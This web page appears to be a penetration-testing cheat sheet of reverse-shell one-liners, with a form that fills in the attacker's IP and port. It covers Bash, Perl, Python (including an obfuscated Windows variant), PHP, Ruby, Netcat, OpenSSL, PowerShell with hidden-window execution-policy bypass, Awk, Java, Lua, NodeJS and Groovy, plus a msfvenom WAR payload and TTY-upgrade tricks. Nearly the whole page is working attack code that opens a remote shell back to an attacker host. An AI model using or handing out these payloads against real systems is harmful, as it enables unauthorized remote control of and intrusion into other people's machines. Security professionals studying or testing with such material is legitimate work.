Reverse Shell
If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.
If it’s not possible to add a new account
/SSH key
/.rhosts file
and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port. This page deals with the former.
Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.
The examples shown are tailored to Unix-like systems. Some of the examples below should also work on Windows if you use substitute /bin/sh -i
with cmd.exe
.
Each of the methods below is aimed to be a one-liner that you can copy/paste. As such they’re quite short lines, but not very readable.
Reverse Shell Generator
You can replace all y0ur_IP
and y0ur_P0RT
using this form (will work only once until you don’t reload page xD). Just input your IP and PORT, and we will replace it. We don’t collect any information – check the source code https://gitlab.com/dc20e6/site/blob/master/tools/reverse-shell-generator.md ;)
Bash TCP
bash -i >& /dev/tcp/y0ur_IP/y0ur_P0RT 0>&1
0<&196;exec 196<>/dev/tcp/y0ur_IP/y0ur_P0RT; sh <&196 >&196 2>&196
Bash UDP
Victim
bash
sh -i >& /dev/udp/y0ur_IP/y0ur_P0RT 0>&1
Listener
bash
nc -u -lvp y0ur_P0RT
Perl
perl -e 'use Socket;$i="y0ur_IP";$p=y0ur_P0RT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"y0ur_IP:y0ur_P0RT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
NOTE: Windows only
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"y0ur_IP:y0ur_P0RT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Python
Linux only
export RHOST="y0ur_IP";export RPORT=y0ur_P0RT;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("y0ur_IP",y0ur_P0RT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("y0ur_IP",y0ur_P0RT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Windows only
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('y0ur_IP', y0ur_P0RT)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
PHP
php -r '$sock=fsockopen("y0ur_IP",y0ur_P0RT);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby
ruby -rsocket -e'f=TCPSocket.open("y0ur_IP",y0ur_P0RT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("y0ur_IP","y0ur_P0RT");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
NOTE: Windows only
ruby -rsocket -e 'c=TCPSocket.new("y0ur_IP","y0ur_P0RT");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Netcat Traditional
nc -e /bin/sh y0ur_IP y0ur_P0RT
Netcat OpenBsd
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc y0ur_IP y0ur_P0RT >/tmp/f
Ncat
ncat y0ur_IP y0ur_P0RT -e /bin/bash
ncat --udp y0ur_IP y0ur_P0RT -e /bin/bash
OpenSSL
hacker@kali$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
hacker@kali$ openssl s_server -quiet -key key.pem -cert cert.pem -port y0ur_P0RT
or
hacker@kali$ ncat --ssl -vv -l -p y0ur_P0RT
user@company$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect y0ur_IP:y0ur_P0RT > /tmp/s; rm /tmp/s
Powershell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("y0ur_IP",y0ur_P0RT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('y0ur_IP',y0ur_P0RT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Awk
awk 'BEGIN {s = "/inet/tcp/0/y0ur_IP/y0ur_P0RT"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/y0ur_IP/y0ur_P0RT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
War
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(y0ur_IP) LPORT=(y0ur_P0RT) -f war > reverse.war
strings reverse.war | grep jsp # in order to get the name of the file
Lua
Linux only
lua -e "require('socket');require('os');t=socket.tcp();t:connect('y0ur_IP','y0ur_P0RT');os.execute('/bin/sh -i <&3 >&3 2>&3');"
Windows and Linux
lua5.1 -e 'local host, port = "y0ur_IP", y0ur_P0RT local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
NodeJS
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(y0ur_P0RT, "y0ur_IP", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
require('child_process').exec('nc -e /bin/sh y0ur_IP y0ur_P0RT')
-var x = global.process.mainModule.require
-x('child_process').exec('nc y0ur_IP y0ur_P0RT -e /bin/bash')
Groovy - by frohoff
NOTE: Java reverse shell also work for Groovy
String host="y0ur_IP";
int port=y0ur_P0RT;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Spawn TTY
Access shortcuts, su, nano and autocomplete in a partially tty shell
/!\ OhMyZSH might break this trick, a simple sh
is recommended
ctrl+z
echo $TERM && tput lines && tput cols
stty raw -echo
fg
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>
or use socat
binary to get a fully tty reverse shell
socat file:`tty`,raw,echo=0 tcp-listen:y0ur_P0RT
Spawn a TTY shell from an interpreter
/bin/sh -i
python -c 'import pty; pty.spawn("/bin/sh")'
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')